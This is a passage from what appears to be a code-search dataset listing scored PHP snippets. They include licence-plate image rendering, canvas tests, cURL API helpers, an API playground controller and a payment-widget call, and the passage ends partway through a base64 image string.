'font/GL-Nummernschild-Eng.ttf';\n $codex = 51;\n $codey = 170;\n $codefontsize = 67;\n $codefontcolor = '#2b2b2b';\n\n // Set num position\n\n $num_count = count($num_array);\n\n if($num_count<5){\n\n $platex += (70-15*$num_count);\n\n }\n\n\n \n \n\n if($city=='Abu Dhabi' && $new_old=='on'){\n\n \n $codefontcolor = '#fff';\n $codey = 180;\n\n \n }elseif($city=='Dubai' && $new_old=='on'){\n\n \n $$txtfont = 'font/AprilFoolsDay.ttf';\n $txtfont_size = 90;\n \n $codex = 55;\n $codey = 180; \n $codefontsize = 58;\n\n }elseif($city=='Dubai'){\n\n \n $$txtfont = 'font/AprilFoolsDay.ttf';\n $txtfont_size = 90;\n \n $codex = 92;\n $codey = 207; \n $codefontsize = 58;\n\n }elseif($city==\"Ajman\"){\n $platex = 110;\n $platey = 188;\n $codex = 455;\n $codey = 150;\n \n }elseif($city==\"Umm Al Quwain\"){\n $platex = 275;\n $codex = 60;\n \n \n }\n\n // Draw plate number\n $img = Image::make(public_path($img_path));\n\n $plate = '';\n\n for($i=0;$i<count($num_array);$i++){\n\n if($color_array[$i]=='R'){\n\n $txtfont_color = '#ce0006';\n }else{\n\n $txtfont_color = '#2b2b2b';\n }\n\n $img->text($num_array[$i], $platex, $platey, function($font) use ($txtfont,$txtfont_size,$txtfont_color) { \n\n $font->file(public_path($txtfont)); \n $font->size($txtfont_size); \n $font->color($txtfont_color); \n $font->align('center'); \n $font->valign('bottom'); \n \n });\n\n $platex+=37;\n\n $plate .= $num_array[$i];\n\n } // end for\n\n \n\n // Draw Code\n $img->text($code,$codex, $codey, function($font) use ($codefont,$codefontsize,$codefontcolor){ \n\n $font->file(public_path($codefont)); \n $font->size($codefontsize); \n $font->color($codefontcolor);\n $font->align('center');\n $font->valign('bottom'); \n \n \n });\n\n // Draw price\n $img->text($price_print,130, 300, function($font){ \n\n $font->file(public_path('font/angsaz.ttf')); \n $font->size(72); \n $font->color('#ce0006');\n $font->align('left');\n $font->valign('bottom'); \n });\n\n if($sold=='on'){\n\n \n $img->insert(public_path('template/sold.png'), 'top', 10, 95);\n\n }\n\n\n\n // Draw mobile number\n $img->text($mobile, 495, 485, function($font) { \n\n $font->file(public_path('font/GL-Nummernschild-Eng.ttf')); \n $font->size(36); \n $font->color('#f2f2f2'); \n $font->align('right'); \n $font->valign('bottom'); \n \n });\n\n\n // Draw more details\n\n $img->text($more_details,8, 445, function($font) { \n\n $font->file(public_path('font/arial.ttf')); \n $font->size(20); \n $font->color('#141414'); \n $font->align('left'); \n $font->valign('bottom'); \n \n });\n\n\n\n\n\n $rnd = str_random(12);\n $file_name = $rnd.\".jpg\";\n $img->save(public_path(\"uploads/\".$file_name));\n\n\n // update db\n\n\n $data = new Plate();\n\n $data->plate = $plate;\n $data->user_id = Auth::user()->id;\n $data->city = $city;\n $data->code = $code;\n $data->price = is_null($price)?'0':$price;\n $data->sold = $sold=='on'?$sold:'NULL';\n $data->isold = $new_old;\n $data->contact = $mobile;\n $data->enclosed = Helper::enclosed($plate);\n $data->superEnclosed = Helper::superEnclosed($plate);\n $data->doubleEnclosed = Helper::doubleEnclosed($plate);\n $data->middleTriple = Helper::middleTriple($plate);\n $data->type = \"color\";\n $data->imgname = $file_name;\n $data->slug = $rnd;\n $data->more = $more_details;\n $data->hashtag = $hashtag;\n $data->digits = strlen($plate);\n $data->save();\n\n return $file_name;\n\n\n }", "title": "" }, { "docid": "f8f8d25e891d4810d96106b45123bf8c", "score": "0.47109562", "text": "public function circle()\n {\n }", "title": "" }, { "docid": "82ba1844633f9a6af62962b8eec8d7c5", "score": "0.46867704", "text": "function draw()\r\n {\r\n }", "title": "" }, { "docid": "82ba1844633f9a6af62962b8eec8d7c5", "score": "0.46867704", "text": "function draw()\r\n {\r\n }", "title": "" }, { "docid": "a32448e23a01c569521f08dbb486abad", "score": "0.46668434", "text": "public function test_get_canvas_string(){\n\t\t$c = new canvas();\n\t\t//$this->assertEquals('<br/>Command Error : Size of canvas cannot be less than 1 x 1 or greater than 100 x 20', $c->get_canvas_string());\n\t\t$this->assertFalse($c->get_canvas_string());\n\n\t\t$messageinit = $c->get_canvas_string(true);\n\t\t$this->assertSame( $messageinit, $c->get_canvas_string(true));\n\n\t\t//canvas with params\n\t\t$c2 = new canvas(10,10);\n\t\t$canvasstring = $c2->get_canvas_string();\n\t\t$this->assertSame($canvasstring, $c2->get_canvas_string());\n\n\t\treturn true;\n\t}", "title": "" }, { "docid": "c1814c7f8285f949b0ef91337f097879", "score": "0.4661654", "text": "function mxHtmlCanvas($scale=1, $basePath = \"\")\n\t{\n\t\tparent::mxGdCanvas(null, null, $scale, null, $basePath);\n\t\t$this->html = \"\";\n\t}", "title": "" }, { "docid": "1c7fcab9e00e4411e8f55986f759e55c", "score": "0.4627667", "text": "function draw() {\n }", "title": "" }, { "docid": "16fc135af919cf71b3f78c7a01f10a34", "score": "0.4620026", "text": "function finalAPI($infoArray){\n try{\n $infoArray[\"image\"] = grabSource($infoArray);\n $vertexJson = detect_face($infoArray); \n $imageArray = getCroppedImage($vertexJson, $infoArray[\"image\"]);\n $finalAnalysis = batchCAnalysis($imageArray, $infoArray); \n $imageDataB64 = drawFaces($infoArray['image'], $vertexJson);\n $finalAnalysis['imageData'] = $imageDataB64;\n return $finalAnalysis;\n }catch(Exception $e){\n echo $e;\n return \"Error\";\n }\n }", "title": "" }, { "docid": "3a803303b9ee5c472545fe2a9c919d4b", "score": "0.4595693", "text": "public function api();", "title": "" }, { "docid": "3620b67b3d0a4ec95dedfcbdd4a08adb", "score": "0.45642138", "text": "function CallAPI($add,$key){\n$ch = curl_init();\n\n// set URL and other appropriate options\ncurl_setopt($ch, CURLOPT_URL, $add);\ncurl_setopt($ch, CURLOPT_HEADER, 0);\ncurl_setopt($ch, CURLOPT_USERPWD, $key.\":\");\ncurl_setopt($ch, CURLOPT_HTTPGET, TRUE);\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n/*\n\tswitch ($meth)\n {\n case \"POST\":\n curl_setopt($curl, CURLOPT_POST, FALSE);\n break;\n case \"PUT\":\n curl_setopt($curl, CURLOPT_PUT, 1);\n break;\n case \"GET\":\n \n break;\n default:\n //if ($data)\n //$url = sprintf(\"%s?%s\", $url, http_build_query($data));\n break;\n }\n*/\n\n\n// grab URL and pass it to the browser\n $result=curl_exec($ch);\n// close cURL resource, and free up system resources\n curl_close($ch);\n\n return $result;\n}", "title": "" }, { "docid": "77b6f9c274c7e7307e9f89bfa73262d7", "score": "0.45611274", "text": "public function api(/* normal ?*/) {\r\n\t\t$args = func_get_args();\r\n\t\tif (is_array($args[0])) {\r\n\t\t\treturn $this->_api($args[0],array(),$args[1]);\r\n\t\t}else{\r\n\t\t\tif(sizeof($args)>1){\r\n\t\t\t\treturn $this->_api($args[0],$args[1],array(),$args[2],$args[3]);\r\n\t\t\t}\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "114b88e11fa6bea19279022aba0560f9", "score": "0.4552068", "text": "public function actionPlayground()\n {\n $req = Yii::app()->request;\n\n /**\n * Initialize variables in case this is a GET request or in case there\n * are errors during POST processing\n */\n $download = false;\n $method = false;\n $reqPath = false;\n $responseBody = $responseHeaders = $requestUrl = $apiRequest = $apiRequestBody = $responseSyntax = false;\n $params = array(\n array(\n 'type' => null,\n 'name' => null,\n 'value' => null,\n )\n );\n \n // Record the key_id that the user provided (if any).\n $keyId = $req->getParam('key_id', false);\n \n if($req->isPostRequest){\n // Override remaining variables with what was submitted.\n $method = $req->getParam('method','GET');\n $reqPath = $req->getParam('path','');\n $params = $req->getParam('param',false);\n $download = $req->getParam('download',false);\n \n // Create copy of $reqPath for manipulation\n $path = $reqPath;\n \n /**\n * Get Key object and make sure this user owns the key\n */\n $key = Key::model()->findByAttributes(array('key_id' => $keyId));\n if($key && $key->user_id == Yii::app()->user->getId()){\n // Create a single dimension parameter array from parameters\n // submitted divided by form and header parameters\n $paramsForm = $paramsHeader = array();\n if($params && is_array($params)){\n foreach($params as $param){\n if(isset($param['name']) && isset($param['value']) \n && $param['name'] != '' && $param['value'] != ''\n && !is_null($param['name']) && !is_null($param['value'])){\n\n // Determine if parameter is supposed to be form based or header\n if(isset($param['type']) && $param['type'] == 'form'){\n $paramsForm[$param['name']] = $param['value'];\n } elseif(isset($param['type']) && $param['type'] == 'header'){\n $paramsHeader[$param['name']] = $param['value'];\n }\n }\n }\n }\n \n /**\n * Figure out proxy domain to form url\n */\n $proxyProtocol = parse_url(Yii::app()->params['apiaxle']['endpoint'], PHP_URL_SCHEME);\n $proxyDomain = parse_url(Yii::app()->params['apiaxle']['endpoint'], PHP_URL_HOST);\n $proxyDomain = str_replace('apiaxle.', '', $proxyDomain);\n \n // Build url from components\n $url = $proxyProtocol.'://'.$key->api->code.'.'.$proxyDomain.$path;\n\n /**\n * Calculate signature for ApiAxle call\n */\n $apiKey = $key->value;\n $apiSig = \\CalcApiSig\\HmacSigner::CalcApiSig($apiKey, $key->secret);\n\n $paramsQuery = array(\n 'api_key' => $apiKey,\n 'api_sig' => $apiSig,\n );\n\n /**\n * If GET request, merge paramsForm into paramsQuery\n */\n if ($method == 'GET') {\n $paramsQuery = CMap::mergeArray($paramsQuery, $paramsForm);\n $paramsForm = null;\n } elseif($method == 'POST' || $method == 'PUT') {\n $apiRequestBody = PHP_EOL . PHP_EOL;\n foreach ($paramsForm as $name => $value) {\n $apiRequestBody .= $name . '=' . $value . PHP_EOL;\n }\n }\n\n /**\n * Create Guzzle client for making API call\n */\n $client = new Guzzle\\Http\\Client();\n $request = $client->createRequest($method,$url,$paramsHeader,$paramsForm,array(\n 'query' => $paramsQuery,\n 'exceptions' => false,\n 'verify' => Yii::app()->params['apiaxle']['ssl_verifypeer'],\n ));\n\n $apiRequest = $request->getRawHeaders();\n $requestUrl = $request->getUrl();\n $response = $request->send();\n\n $responseHeaders = $response->getRawHeaders();\n $responseBody = $response->getBody(true);\n\n if($response->getContentType() == 'applicaton/json'){\n $responseSyntax = 'javascript';\n } else {\n $responseSyntax = 'markup';\n }\n\n } else {\n // Display an error\n Yii::app()->user->setFlash('error','Invalid API selected');\n }\n \n }\n \n /**\n * Get list of APIs that user has a key for\n */\n $apiOptions = Key::model()->findAllByAttributes(array('user_id' => Yii::app()->user->getId()));\n \n if(!$download){\n /**\n * Attempt to pretty print\n */\n if(isset($response) && substr_count($response->getContentType(), 'xml') > 0){\n $dom = new DOMDocument('1.0');\n $dom->preserveWhiteSpace = false;\n $dom->formatOutput = true;\n if($dom->loadXML($responseBody)){\n $asString = $dom->saveXML();\n if($asString){\n $responseBody = $asString;\n }\n }\n } elseif (isset($response) && substr_count($response->getContentType(), 'json') > 0) {\n $responseBody = Utils::pretty_json($responseBody);\n }\n\n $this->render('playground',array(\n 'key_id' => $keyId,\n 'method' => $method,\n 'apiOptions' => $apiOptions,\n 'params' => $params,\n 'path' => $reqPath,\n 'responseBody' => $responseBody,\n 'responseHeaders' => $responseHeaders,\n 'requestUrl' => $requestUrl,\n 'apiRequest' => $apiRequest,\n 'apiRequestBody' => $apiRequestBody,\n 'responseSyntax' => $responseSyntax,\n ));\n } else {\n /**\n * We expect results to be either JSON, XML, or CSV. So we test if they\n * can be parsed as JSON and set headers appropriately. \n */\n if(isset($response) && substr_count($response->getContentType(), 'json') > 0){\n header('Content-disposition: attachment; filename=results.json');\n header('Content-type: application/json');\n } elseif(isset($response) && substr_count($response->getContentType(), 'xml') > 0) {\n header('Content-disposition: attachment; filename=results.xml');\n header('Content-type: application/xml');\n } else {\n header('Content-disposition: attachment; filename=results.csv');\n header('Content-type: text/csv');\n }\n echo $responseBody;\n }\n }", "title": "" }, { "docid": "5c5005c2f6cd45182669a6d32c074e34", "score": "0.45455593", "text": "function draw() {\n\n return array(\"points\" => array(\"X\" => $this->getX(), \"Y\" => $this->getY(), \"Side\" => $this->getSide()),\n \"attributes\" => $this->getShapeAttributes()\n );\n }", "title": "" }, { "docid": "a0568e37bc4050387b194efce82b3cc5", "score": "0.4531398", "text": "public function call_for_widget($options)\r\n {\r\n $this->load->model('extension/payment/greenpay');\r\n $greenConfig = $this->getGreenmoneyConfig();\r\n $debug = false;\r\n if (isset($greenConfig[\"greenpay_debug\"]) && $greenConfig[\"greenpay_debug\"]) {\r\n $debug = true;\r\n }\r\n\r\n $options[\"Client_ID\"] = $greenConfig[\"greenpay_client_id\"];\r\n $options[\"ApiPassword\"] = $greenConfig[\"greenpay_api_password\"];\r\n\r\n if ($debug) {\r\n error_log(\"[GreenPay] Beginning API call to \" . GREENPAY_WEBSITE . \"FTFTokenizer.asmx/GenerateWidget\");\r\n error_log(\"[GreenPay] Raw data being sent: \\r\\n\" . print_r($options, true));\r\n }\r\n\r\n try {\r\n $ch = curl_init();\r\n\r\n if($ch === FALSE){\r\n throw new \\Exception('Failed to initialize cURL');\r\n }\r\n $data_string = json_encode($options);\r\n curl_setopt_array($ch, array(\r\n CURLOPT_URL => GREENPAY_WEBSITE . \"FTFTokenizer.asmx/GenerateWidget\",\r\n CURLOPT_CUSTOMREQUEST => \"POST\",\r\n CURLOPT_RETURNTRANSFER => true,\r\n CURLOPT_HTTPHEADER => array(\r\n 'Content-Type: application/json',\r\n 'Content-Length: ' . strlen($data_string)\r\n ),\r\n CURLOPT_CONNECTTIMEOUT => 3,\r\n CURLOPT_POSTFIELDS => $data_string\r\n ));\r\n $response = curl_exec($ch);\r\n $response = json_decode($response)->d;\r\n if($response === FALSE || curl_errno($ch) !== 0 || curl_getinfo($ch, CURLINFO_HTTP_CODE) !== 200){\r\n throw new \\Exception(curl_error($ch), curl_errno($ch));\r\n }\r\n\r\n curl_close($ch);\r\n }\r\n catch(\\Exception $e) {\r\n error_log(\"[GreenPay] Exception occurered while attempting to decode response from API call: \" . $e->getMessage());\r\n return false;\r\n }\r\n\r\n return $response;\r\n }", "title": "" }, { "docid": "c405b7b97dcc49e1112efec295356b68", "score": "0.4510766", "text": "public function draw()\n {\n echo \"Drawing a Shape\";\n }", "title": "" }, { "docid": "a6c68177c80212688c2b837757e546c3", "score": "0.4508911", "text": "public function getCanvasParameters() {\n return array(\n // free mode with only width\n array(1000, null, 'free', 1000, 463),\n\n // free mode with only height\n array(null, 1000, 'free', 665, 1000),\n\n // free mode where both sides are smaller than the original\n array(200, 200, 'free', 200, 200),\n\n // free mode where height is smaller than the original\n array(1000, 200, 'free', 1000, 200),\n\n // free mode where width is smaller than the original\n array(200, 1000, 'free', 200, 1000),\n\n // center, center-x and center-y modes\n array(1000, 1000, 'center', 1000, 1000),\n array(1000, 1000, 'center-x', 1000, 1000),\n array(1000, 1000, 'center-y', 1000, 1000),\n\n // center, center-x and center-y modes where one of the sides are smaller than the\n // original\n array(1000, 200, 'center', 1000, 200),\n array(200, 1000, 'center', 200, 1000),\n array(1000, 200, 'center-x', 1000, 200),\n array(1000, 200, 'center-y', 1000, 200),\n\n // center, center-x and center-y modes where both sides are smaller than the original\n array(200, 200, 'center', 200, 200),\n array(200, 200, 'center-x', 200, 200),\n array(200, 200, 'center-y', 200, 200),\n );\n }", "title": "" }, { "docid": "4e2eaac59837d1bb69e53f840f3652c9", "score": "0.44995365", "text": "function onepix_img_circles() {\n $widget_ops = array('classname' => 'onepix_img_circles', 'description' => __('Call to action image circles', '1pixel'));\n $this->__construct('onepix_img_circles', __('One Pixel | Image Circles', '1pixel'), $widget_ops);\n }", "title": "" }, { "docid": "1c7a6e603402f38f2185015b77a4f45d", "score": "0.44860047", "text": "public function drawCircle($x, $y, $radius)\n {\n echo \"API1.circle at { $x , $y} radius $radius <br>\";\n }", "title": "" }, { "docid": "28f4e778564702b27d9c3457f4b9493a", "score": "0.44839442", "text": "public function run()\n {\n $image = 'iVBORw0KGgoAAAANSUhEUgAAAK0AAAC4CAYAAACRtGxrAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAACQ6SURBVHhe7d1ntyxHdcZxv1Ti6l5llHPOCYFQToiMjQkGG9tgewEmR7FAgEEkSQibJAQSCiCEJGSSP994/0Zni6JXzUzPnJ45p8+pF886c2e6u6p2/eupXdU9c//mwIEDk6amMalB2zQ6NWibRqcGbdPo1KBtGp0atE2jU4O2aXRq0DaNTg3aptGpQds0OjVom0anBm3T6NSgbRqdGrRNo1ODtml0atA2jU4N2qbRqUHbNDo1aJtGpwZt0+jUoG0anRq0TaNTg7ZpdGrQNo1ODdqm0alB2zQ6NWibRqcGbdPo1KBtGp0atCvo4MGDk2OOOWZy4oknTk455ZTJ6aefPjn77LMn55133uT888+fXHjhhZOLLrror+S9Cy64YHLuuedOjz3jjDOm57rGscceO73m0UcfXS2v6a/VoJ2jhPO4446bwnXyySdPTj311ClwCSkYL7nkkslll102ueKKKyZXXnnl5KqrrppcffXVU11zzTVTee19xzjWOWAGeULs2spQljKVDeQG81+rQTtDQOGAJ5100uTMM8+cwgm46667bvK6171ucvPNN09uvfXWqW677bapbr/99ld0xx13vKI777zzldflMc5x/k033TS95rXXXjstgyMrU9nANXhqddyvatBuCaSHDh2anHDCCdNpm/NxUo7IIV/zmtdMXv/6109Bu+uuuyZveMMbeuvee+99Rd33vL7nnnumYLu2MpSlTGWrA4A58PHHH/+K+9basF/UoA2BgJuZls8666zp9H3DDTdM3ZQ7gvTuu++eCmAJ3nbUhdh1SRnKAzE3vuWWWybXX3/9tE7gVUeDaz+Du6+hTWeVS55zzjlTZ5N/mqprjppQAdm0Duobb7xx8trXvnbqjuCSPpjmKfPZ/LfPHONY53BV11AWSJVXDoosT1nqJC9WR3VVZ867HwHet9DqaIsd7sXFwFe6aglPAuQzx8hByylcDgokKcVpp502TS9M569+9aun8tp7PstFnAXYpZdeOgUxXZ2zzio7AXYM4NXZ9YDboN3jSncFj8UVaBLYBCbF/UzP5SIJpIBLSHPFb9HkuiAyGCzi5J/+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